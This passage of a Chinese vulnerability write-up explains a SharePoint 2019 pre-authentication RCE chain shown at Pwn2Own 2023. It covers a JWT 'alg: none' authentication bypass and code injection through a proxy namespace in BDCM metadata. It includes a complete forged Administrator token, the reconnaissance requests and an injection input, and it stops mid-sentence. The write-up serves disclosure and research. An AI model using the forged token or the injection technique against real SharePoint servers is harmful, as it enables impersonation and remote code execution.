[P2O Vancouver 2023] SharePoint预认证RCE漏洞链(CVE-2023-29357 & CVE-2023-24955)
概述
在Pwn2Own Vancouver 2023比赛中,我成功利用了SharePoint目标。虽然现场演示仅持续约30秒,但发现和构建完整利用链的过程耗费了近一年的细致研究和努力。
该利用链利用两个漏洞在SharePoint服务器上实现预认证远程代码执行(RCE):
身份验证绕过 - 未经身份验证的攻击者可以通过伪造有效的JSON Web令牌(JWT),使用none签名算法来绕过JWT令牌验证检查。这个漏洞在我开始这个项目两天后就发现了。
代码注入 - 具有SharePoint所有者权限的用户可以通过替换Web根目录中的/BusinessDataMetadataCatalog/BDCMetadata.bdcm文件来注入任意代码,导致注入的代码被编译到程序集中,随后由SharePoint执行。这个漏洞于2022年2月发现。
身份验证绕过漏洞的特殊之处在于:它只能访问SharePoint API。因此,最困难的部分是找到使用SP API的后认证RCE链。
受影响产品/测试版本
SharePoint 2019
测试版本:SharePoint 2019(16.0.10396.20000)带有2023年3月补丁(KB5002358和KB5002357)
补丁下载:
https://www.microsoft.com/en-us/download/details.aspx?id=105064
https://www.microsoft.com/en-us/download/details.aspx?id=105078
漏洞 #1:SharePoint应用程序身份验证绕过
在默认的SharePoint设置配置下,发送到SharePoint站点的几乎所有请求都需要NTLM身份验证才能处理。
分析web config文件时,我意识到我们至少可以使用4种身份验证类型。
| 认证模块 |
处理类 |
| FederatedAuthentication |
SPFederationAuthenticationModule |
| SessionAuthentication |
SPSessionAuthenticationModule |
| SPApplicationAuthentication |
SPApplicationAuthenticationModule |
| SPWindowsClaimsAuthentication |
SPWindowsClaimsAuthenticationHttpModule |
我开始逐个分析这些模块,然后在SPApplicationAuthenticationModule中发现了一些有趣的东西。
该模块为Http事件AuthenticateRequest注册了SPApplicationAuthenticationModule.AuthenticateRequest()方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
namespace Microsoft.SharePoint.IdentityModel
{
internal sealed class SPApplicationAuthenticationModule : IHttpModule
{
public void Init(HttpApplication context)
{
if (context == null)
{
throw new ArgumentNullException("context");
}
context.AuthenticateRequest += this.AuthenticateRequest;
context.PreSendRequestHeaders += this.PreSendRequestHeaders;
}
//...
}
//...
}
|
因此,每次我们尝试向SharePoint站点发送HTTP请求时,都会调用此方法来处理身份验证逻辑!
仔细查看SPApplicationAuthenticationModule.AuthenticateRequest()方法,将调用SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication()来检查当前URL是否允许使用OAuth作为身份验证方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
private void AuthenticateRequest(object sender, EventArgs e)
{
if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) // [1]
{
spidentityReliabilityMonitorAuthenticateRequest.ExpectedFailure(TaggingUtilities.ReserveTag(18990616U), "Not an OAuthRequest.");
//...
}
else
{
bool flag = this.ConstructIClaimsPrincipalAndSetThreadIdentity(httpApplication, context, spfederationAuthenticationModule, out text); // [2]
if (flag)
{
//...
spidentityReliabilityMonitorAuthenticateRequest.Success(null);
}
else
{
//...
OAuthMetricsEventHelper.LogOAuthMetricsEvent(text, QosErrorType.ExpectedFailure, "Can't sign in using token.");
}
//...
}
//...
}
|
在[1]处,如果请求URL包含以下模式之一,将允许使用OAuth身份验证:
/_vti_bin/client.svc
/_vti_bin/listdata.svc
/_vti_bin/sites.asmx
/_api/
/_vti_bin/ExcelRest.aspx
/_vti_bin/ExcelRest.ashx
/_vti_bin/ExcelService.asmx
/_vti_bin/PowerPivot16/UsageReporting.svc
/_vti_bin/DelveApi.ashx
/_vti_bin/DelveEmbed.ashx
/_layouts/15/getpreview.ashx
/_vti_bin/wopi.ashx
/_layouts/15/userphoto.aspx
/_layouts/15/online/handlers/SpoSuiteLinks.ashx
/_layouts/15/wopiembedframe.aspx
/_vti_bin/homeapi.ashx
/_vti_bin/publiccdn.ashx
/_vti_bin/TaxonomyInternalService.json/GetSuggestions
/_layouts/15/download.aspx
/_layouts/15/doc.aspx
/_layouts/15/WopiFrame.aspx
当满足上述条件时,将在[2]处调用SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()来继续处理身份验证请求。
SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()方法的相关代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
{
ULS.SendTraceTag(832154U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Medium, "SPApplicationAuthenticationModule: Couldn't find a valid token in the request.");
return false;
}
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
//...
}
|
注意:[4]和[5]处的代码将在稍后阶段讨论。
在[3]处,SPApplicationAuthenticationModule.TryExtractAndValidateToken()方法将尝试从HTTP请求中解析身份验证令牌并执行验证检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
private bool TryExtractAndValidateToken(HttpContext httpContext, out SPIncomingTokenContext tokenContext, out SPIdentityProofToken identityProofToken)
{
//...
if (!this.TryParseOAuthToken(httpContext.Request, out text)) // [6]
{
return false;
}
//...
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && this.TryParseProofToken(httpContext.Request, out text2))
{
SPIdentityProofToken spidentityProofToken = SPIdentityProofTokenUtilities.CreateFromJsonWebToken(text2, text); // [7]
}
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && !string.IsNullOrEmpty(text2))
{
Microsoft.IdentityModel.Tokens.SecurityTokenHandler identityProofTokenHandler = SPClaimsUtility.GetIdentityProofTokenHandler();
StringBuilder stringBuilder = new StringBuilder();
using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder))
{
identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken); // [8]
}
SPIdentityProofToken spidentityProofToken2 = null;
using (XmlReader xmlReader = XmlReader.Create(new StringReader(stringBuilder.ToString())))
{
spidentityProofToken2 = identityProofTokenHandler.ReadToken(xmlReader) as SPIdentityProofToken;
}
ClaimsIdentityCollection claimsIdentityCollection = null;
claimsIdentityCollection = identityProofTokenHandler.ValidateToken(spidentityProofToken2); // [9]
tokenContext = new SPIncomingTokenContext(spidentityProofToken2.IdentityToken, claimsIdentityCollection);
identityProofToken = spidentityProofToken2;
tokenContext.IsProofTokenScenario = true;
SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext); // [10]
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthIdentityType(tokenContext, httpContext.Request);
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthTokenType(tokenContext, httpContext.Request);
}
}
|
在[6]处,TryParseOAuthToken()方法将尝试从查询字符串参数access_token或Authorization头中检索OAuth访问令牌,并将其存储到text变量中。
例如,HTTP请求将类似于:
1
2
3
4
5
|
GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: python-requests/2.27.1
Host: sharepoint
|
类似地,从HTTP请求中提取OAuth访问令牌后,TryParseProofToken()方法将尝试从查询字符串参数prooftoken或X-PROOF_TOKEN头中检索证明令牌,并将其存储到text2变量中。
在[7]处,两个令牌都作为参数传递给SPIdentityProofTokenUtilities.CreateFromJsonWebToken()方法。
SPIdentityProofTokenUtilities.CreateFromJsonWebToken()方法的相关代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
internal static SPIdentityProofToken CreateFromJsonWebToken(string proofTokenString, string identityTokenString)
{
RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler nonValidatingJsonWebSecurityTokenHandler = new RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler();
SecurityToken securityToken = nonValidatingJsonWebSecurityTokenHandler.ReadToken(proofTokenString); // [11]
if (securityToken == null)
{
ULS.SendTraceTag(3536843U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Proof token is not a valid JWT string.");
throw new InvalidOperationException("Proof token is not JWT");
}
SecurityToken securityToken2 = nonValidatingJsonWebSecurityTokenHandler.ReadToken(identityTokenString); // [12]
if (securityToken2 == null)
{
ULS.SendTraceTag(3536844U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Identity token is not a valid JWT string.");
throw new InvalidOperationException("Identity token is not JWT");
}
//...
JsonWebSecurityToken jsonWebSecurityToken = securityToken2 as JsonWebSecurityToken;
if (jsonWebSecurityToken == null || !jsonWebSecurityToken.IsAnonymousIdentity())
{
spidentityProofToken = new SPIdentityProofToken(securityToken2, securityToken);
try
{
new SPAudienceValidatingIdentityProofTokenHandler().ValidateAudience(spidentityProofToken); // [13]
return spidentityProofToken;
}
//...
}
//...
}
|
快速浏览一下,可以推断出访问令牌(作为identityTokenString参数传递)和证明令牌(作为proofTokenString参数传递)都应该是JSON Web令牌(JWT)。
初始化RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler类型的实例以执行令牌解析和验证,然后在[11]处调用nonValidatingJsonWebSecurityTokenHandler.ReadToken()方法。
RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler类型是JsonWebSecurityTokenHandler的子类型。由于RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler没有重写ReadToken()方法,调用nonValidatingJsonWebSecurityTokenHandler.ReadToken()方法等同于调用JsonWebSecurityTokenHandler.ReadToken()(JsonWebSecurityTokenHandler.ReadTokenCore()方法的包装函数)。
在[11]和[12]处验证访问和证明令牌的JsonWebSecurityTokenHandler相关代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
public virtual SecurityToken ReadToken(string token)
{
return this.ReadTokenCore(token, false);
}
public virtual bool CanReadToken(string token)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
return this.IsJsonWebSecurityToken(token);
}
private bool IsJsonWebSecurityToken(string token)
{
return Regex.IsMatch(token, "^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$");
}
private SecurityToken ReadTokenCore(string token, bool isActorToken)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
if (!this.CanReadToken(token)) // [14]
{
throw new SecurityTokenException("Unsupported security token.");
}
string[] array = token.Split(new char[] { '.' });
string text = array[0]; // JWT Header
string text2 = array[1]; // JWT Payload (JWS Claims)
string text3 = array[2]; // JWT Signature
Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
Dictionary<string, string> dictionary2 = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
string text4;
dictionary.TryGetValue("alg", out text4); // [15]
SecurityToken securityToken = null;
if (!StringComparer.Ordinal.Equals(text4, "none")) // [16]
{
if (string.IsNullOrEmpty(text3))
{
throw new SecurityTokenException("Missing signature.");
}
SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
SecurityToken securityToken2;
if (securityToken2 == null)
{
}
securityToken = this.VerifySignature(string.Format(CultureInfo.InvariantCulture, "{0}.{1}", new object[] { text, text2 }), text3, text4, securityToken2);
}
//...
}
|
在[14]处,首先调用JsonWebSecurityTokenHandler.CanReadToken()方法以确保令牌与正则表达式^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$匹配。基本上,这检查用户提供的令牌类似于有效的JWT令牌,每个部分(即头部、有效负载和签名)都是Base64编码的。
之后,提取JWT令牌的头部、有效负载和签名部分。在将它们解析为JSON对象之前,对头部和有效负载部分执行Base64解码。
在[15]处,从头部部分提取alg字段(即签名算法)。例如,如果Base64解码的头部部分是:
1
2
3
4
|
{
"alg": "HS256",
"typ": "JWT"
}
|
则alg字段的值为HS256。
此身份验证绕过漏洞的根本原因的第一部分可以在[16]处找到 - 在验证提供的JWT令牌的签名时存在逻辑缺陷。如果alg字段未设置为none,则调用VerifySignature()方法来验证提供的JWT令牌的签名。但是,如果alg是none,则跳过JsonWebSecurityTokenHandler.ReadTokenCore()中的签名验证检查!
回到[13]处,SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience()对提供的证明令牌的头部部分中的aud(受众)字段执行验证检查。
以下是aud字段的有效值示例:
1
|
00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af
|
aud字段的格式是<client_id>/<hostname>@<realm>:
- 静态值
00000003-0000-0ff1-ce00-000000000000被接受为所有SharePoint本地实例的有效<client_id>
<hostname>指的是当前HTTP请求的SharePoint服务器(目标)的主机名(例如splab)
<realm>(例如3b80be6c-6741-4135-9292-afed8df596af)可以通过向/_api/web/发送带有头Authorization: Bearer的请求从WWW-Authenticate响应头获取
以下是用于获取构建aud字段有效值所需的<realm>的HTTP请求示例:
1
2
3
4
5
|
GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer
|
HTTP响应将在WWW-Authenticate响应头中包含<realm>:
1
2
3
|
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
//...
|
之后,将从用户提供的访问和证明令牌创建新的SPIdentityProofToken,控制流转到[8]。
在[8]处,identityProofTokenHandler由SPClaimsUtility.GetIdentityProofTokenHandler()方法返回:
1
2
3
4
5
|
internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
//...
return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}
|
SPClaimsUtility.GetIdentityProofTokenHandler()方法的实现意味着返回的identityProofTokenHandler将是SPIdentityProofTokenHandler的实例。
1
2
3
4
5
6
7
8
9
10
11
12
|
{
bool flag = VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenHashedProofToken);
if (flag && SPIdentityProofTokenUtilities.IsHashedProofToken(token))
{
return;
}
//...
}
|
SPIdentityProofTokenUtilities.IsHashedProofToken()方法的实现如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
internal static bool IsHashedProofToken(JsonWebSecurityToken token)
{
if (token == null)
{
return false;
}
if (token.Claims == null)
{
return false;
}
JsonWebTokenClaim singleClaim = token.Claims.GetSingleClaim("ver");
return singleClaim != null && singleClaim.Value.Equals(SPServerToServerProtocolConstants.HashedProofToken, StringComparison.InvariantCultureIgnoreCase);
}
|
将JWT令牌有效负载部分中的ver字段设置为hashedprooftoken会使SPIdentityProofTokenUtilities.IsHashedProofToken()方法返回true,从而允许绕过颁发者字段验证检查。
回到[10]处,调用SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext)来验证当前URL的哈希。需要存储在JWT有效负载部分endpointurl字段中的所需值可以通过计算得出:
1
|
base64_encode(sha256(request_url))
|
执行SPApplicationAuthenticationModule.TryExtractAndValidateToken()后,代码流向SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()方法并到达[4]:
1
2
3
4
5
6
7
8
9
10
11
12
|
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
|
如果spincomingTokenContext.TokenType不是spincomingTokenContext.Loopback并且当前HTTP请求未通过SSL加密,将抛出异常。因此,需要在伪造的JWT令牌中将isloopback声明设置为true,以使spincomingTokenContext.TokenType == spincomingTokenContext.Loopback,从而确保不抛出异常并且代码继续正常执行。
随后,在[5]处,令牌将被传递到SPApplicationAuthenticationModule.SignInProofToken()。
1
2
3
4
5
6
7
8
9
10
11
|
private void SignInProofToken(HttpContext httpContext, JsonWebSecurityToken token, SPIdentityProofToken proofIdentityToken)
{
SecurityContext.RunAsProcess(delegate
{
Uri contextUri = SPAlternateUrl.ContextUri;
SPAuthenticationSessionAttributes? spauthenticationSessionAttributes = new SPAuthenticationSessionAttributes?(SPAuthenticationSessionAttributes.IsBrowser);
SecurityToken securityToken = SPSecurityContext.SecurityTokenForProofTokenAuthentication(proofIdentityToken.IdentityToken, proofIdentityToken.ProofToken, spauthenticationSessionAttributes);
IClaimsPrincipal claimsPrincipal = SPFederationAuthenticationModule.AuthenticateUser(securityToken);
//...
});
}
|
此方法将从用户提供的JWT令牌创建SecurityTokenForContext的实例,并将其发送到安全令牌服务(STS)进行身份验证。
这是整个漏洞中最重要的部分 - 如果STS接受伪造的JWT令牌,那么就可以冒充任何SharePoint用户!
为简洁起见,伪造的JWT令牌应类似于以下内容:
1
|
eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiAgIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMC9zcGxhYkAzYjgwYmU2Yy02NzQxLTQxMzUtOTI5Mi1hZmVkOGRmNTk2YWYiLCJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCIsIm5hbWVpZCI6ImMjLnd8QWRtaW5pc3RyYXRvciIsICAgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vc2hhcmVwb2ludC8yMDA5LzA4L2NsYWltcy91c2VybG9nb25uYW1lIjoiQWRtaW5pc3RyYXRvciIsICAgImFwcGlkYWNyIjoiMCIsICJpc3VzZXIiOiIwIiwgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vb2ZmaWNlLzIwMTIvMDEvbmFtZWlkaXNzdWVyIjoiQWNjZXNzVG9rZW4iLCAgInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6ICJGVkl3QldUdXVXZnN6TzdXWVJaWWlvek1lOE9hU2FXTy93eURSM1c2ZTk0PSIsIm5hbWUiOiJmI3h3fEFkbWluaXN0cmF0b3IiLCJpZGVudGl0eXByb3ZpZGVyIjoid2luZE93czphYWFhYSIsInVzZXJpZCI6ImFzYWFkYXNkIn0.YWFh
|
伪造的JWT令牌的Base64解码部分如下所示:
请注意,需要修改nameid字段以冒充SharePoint站点中的相应用户。
所以我们得到了身份验证绕过,但可能需要知道SharePoint站点中至少存在一个用户名。如果没有,SharePoint站点将拒绝身份验证,我们将无法访问任何功能。
起初,我认为这个问题很容易解决,因为用户"Administrator"存在于每个Windows Server 2022实例中。
但事实并非如此!
.
.
是的,我们可以假设用户"Administrator"存在于每个Windows Server 2022实例中,但这不是我们需要的。
在正确配置的SharePoint实例中:
- SharePoint服务用户不应该是"内置管理员"
- 站点管理员用户也不应该是"内置管理员"
- 只有"场管理员"需要是SharePoint服务器的"内置管理员"
这意味着在Pwn2Own设置中,“Administrator"帐户不会是SharePoint站点成员。
这部分利用花了我几天时间反复阅读ZDI关于SharePoint的系列博客文章,直到我意识到这一行:
这个入口点/my在我的SharePoint实例中不存在。
搜索了一会儿后,我发现他们(ZDI团队)使用初始场配置向导来设置SharePoint服务器,而不是手动配置(就像我想到/做的那样)。
在使用初始场配置向导时,将启用许多其他功能,用户配置文件服务是负责入口点/my的服务。
此入口点已授予经过身份验证的用户读取权限,这意味着任何经过身份验证的用户都可以访问此站点,获取用户列表和管理员用户名。
通过在My Site站点中使用身份验证绕过,
在第一个请求中,我们可以首先冒充Windows上的任何用户,甚至是本地用户,如NT AUTHORITY\LOCAL SERVICE、NT AUTHORITY\SYSTEM。
经过身份验证后,使用ListData服务获取站点管理员:/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true
然后我们可以冒充站点管理员用户并执行任何进一步的操作!
漏洞 #2:DynamicProxyGenerator.GenerateProxyAssembly()中的代码注入
如开头所述,虽然我们可以冒充任何用户,但仅限于SharePoint API中。
我一直在搜索旧的SharePoint漏洞,但找不到任何可通过API访问的漏洞(或者至少当时我不知道如何访问)。
好吧,然后我花了2022年的一半时间阅读SharePoint API源代码,最终发现了这个漏洞!
代码注入漏洞存在于DynamicProxyGenerator.GenerateProxyAssembly()方法中。上述方法实现的相关部分如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
//Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator
public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{
//...
CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); // [17]
//...
CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
codeCompileUnit.Namespaces.Add(codeNamespace); // [18]
codeCompileUnit.ReferencedAssemblies.Add("System.dll");
//...
CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
StringCollection stringCollection = null;
//...
using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
{
CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
textWriter.Flush();
sourceCode = textWriter.ToString(); // [19]
}
CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); // [20]
//...
}
|
此方法的主要逻辑是使用proxyNameSpace生成程序集。在[17]处,使用proxyNamespaceName参数初始化CodeNamespace的实例。然后将此CodeNamespace实例添加到[18]处的codeCompileUnit.Namespaces中。
之后,在[19]处,codeDomProvider.GenerateCodeFromCompileUnit()将使用包含我们的proxyNamespaceName的上述codeCompileUnit生成源代码,将源代码存储在变量sourceCode中。
发现没有对proxyNamespaceName参数进行验证。因此,通过提供恶意输入作为proxyNamespaceName参数,可以将任意内容注入到要在[20]处为要生成的程序集编译的代码中。
例如:
- 如果proxyNamespaceName是Foo,则生成的代码是:
- 但如果为proxyNamespaceName参数提供了恶意输入,例如
Hacked{} namespace Foo,则生成并编译以下代码:
1
2
3
4
|
namespace Hacked{
//恶意代码
}
namespace Foo{}
|
DynamicProxyGenerator.GenerateProxyAssembly()方法通过反射在WebServiceSystemUtility.GenerateProxyAssembly()中调用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
[PermissionSet(SecurityAction.Assert, Name = "FullTrust")]
public virtual ProxyGenerationResult GenerateProxyAssembly(ILobSystemStruct lobSystemStruct, INamedPropertyDictionary lobSystemProperties)
{
AppDomain appDomain = AppDomain.CreateDomain(lobSystemStruct.Name, new Evidence(new object[]
{
new Zone(SecurityZone.MyComputer)
}, new object[0]), setupInformation, permissionSet, new StrongName[0]);
object dynamicProxyGenerator = null;
SPSecurity.RunWithElevatedPrivileges(delegate
{
dynamicProxyGenerator = appDomain.CreateInstanceAndUnwrap(this.GetType().Assembly.FullName, "Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator", false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, null, null, null); // [21]
});
Uri uri = WebServiceSystemPropertyParser.GetUri(lobSystemProperties, "WsdlFetchUrl");
string webServiceProxyNamespace = WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(lobSystemProperties); // [22]
string webServiceProxyProtocol = WebServiceSystemPropertyParser.GetWebServiceProxyProtocol(lobSystemProperties);
WebProxy webProxy = WebServiceSystemPropertyParser.GetWebProxy(lobSystemProperties);
object[] array = null;
try
{
array = (object[])dynamicProxyGenerator.GetType().GetMethod("GenerateProxyAssemblyInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Invoke(dynamicProxyGenerator, new object[] { uri, webServiceProxyNamespace, webServiceProxyProtocol, webProxy, null, httpAuthenticationMode, text, text2 }); // [23]
}
//...
|
可以在[21]和[23]处找到反射调用。
在[22]处,请注意proxyNamespaceName是从方法WebServiceSystemPropertyParser.GetWebServiceProxyNamespace()检索的,该方法检索当前LobSystem的WebServiceProxyNamespace属性:
1
2
3
4
5
6
7
8
9
10
|
internal static string GetWebServiceProxyNamespace(INamedPropertyDictionary lobSystemProperties)
{
//...
string text = lobSystemProperties["WebServiceProxyNamespace"] as string;
if (!string.IsNullOrEmpty(text))
{
return text.Trim();
}
//...
}
|
为了到达WebServiceSystemUtility.GenerateProxyAssembly()方法,发现可以使用Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute()方法。如下所述,此Entity.Execute()方法也可用于加载生成的程序集并实例化生成的程序集中的类型,从而实现远程代码执行。
Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute()方法的相关代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
|
...
[ClientCallableMethod] // [24]
...
internal MethodExecutionResult Execute([ClientCallableConstraint(FixedId = "1", Type = ClientCallableConstraintType.NotNull)] [ClientCallableConstraint(FixedId = "2", Type = ClientCallableConstraintType.NotEmpty)] string methodInstanceName, [ClientCallableConstraint(FixedId = "3", Type = ClientCallableConstraintType.NotNull)] LobSystemInstance lobSystemInstance, object[] inputParams) // [25]
{
if (((ILobSystemInstance)lobSystemInstance).GetLobSystem().SystemType == SystemType.DotNetAssembly) // [26]
{
throw new InvalidOperationException("ClientCall execute for DotNetAssembly lobSystem is not allowed.");
}
//...
this.m_entity.Execute(methodInstance, lobSystemInstance, ref array); // [27]
}
|
在[24]处,由于该方法具有[ClientCallableMethod]属性,因此可通过SharePoint REST API访问该方法。在[26]处有一个检查,以确保在调用[27]处的this.m_entity.Execute()之前,LobSystem的SystemType不等于SystemType.DotNetAssembly。
但是,此时有一个小障碍 - 在[25]处,如何获取LobSystemInstance的有效引用并通过REST API将其作为参数提供?事实证明,使用客户端查询功能,可以通过使用ObjectIdentity引用所需的LobSystemInstance,该ObjectIdentity由BCSObjectFactory构造。基本上,使用客户端查询功能允许调用具有[ClientCallableMethod]属性的任何方法,并允许提供非平凡参数,如对象引用。
例如,可以向/_vti_bin/client.svc/ProcessQuery发出请求,请求正文如下,以获取所需LobSystemInstance的引用:
1
|
<Identity Id="17" Name="<random guid>|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:jHRORCVc,jHRORCVc" />
|
上述负载中使用的静态值解释如下:
4da630b6-36c5-4f55-8e01-5cd40e96104d指的是BCSObjectFactory.GetObjectById()使用的类型ID
lsifile将从BDCMetaCatalog文件返回LobSystemInstance
BDCMetaCatalog指的是业务数据连接元数据(BDCM)目录,LobSystem和Entity对象存储在BDCM目录中。BDCM目录的数据可以存储在数据库中,也可以存储在位于SharePoint站点URL根目录的/BusinessDataMetadataCatalog/BDCMetadata.bdcm文件中。
分析BCSObjectFactory.GetObjectById()时,发现可以从BDCM目录文件构造和获取LobSystem、LobSystemInstance和Entity的引用。
幸运的是,可以写入BDCM目录文件。这意味着可以插入任意LobSystem对象,并且可以指定LobSystem对象内的任意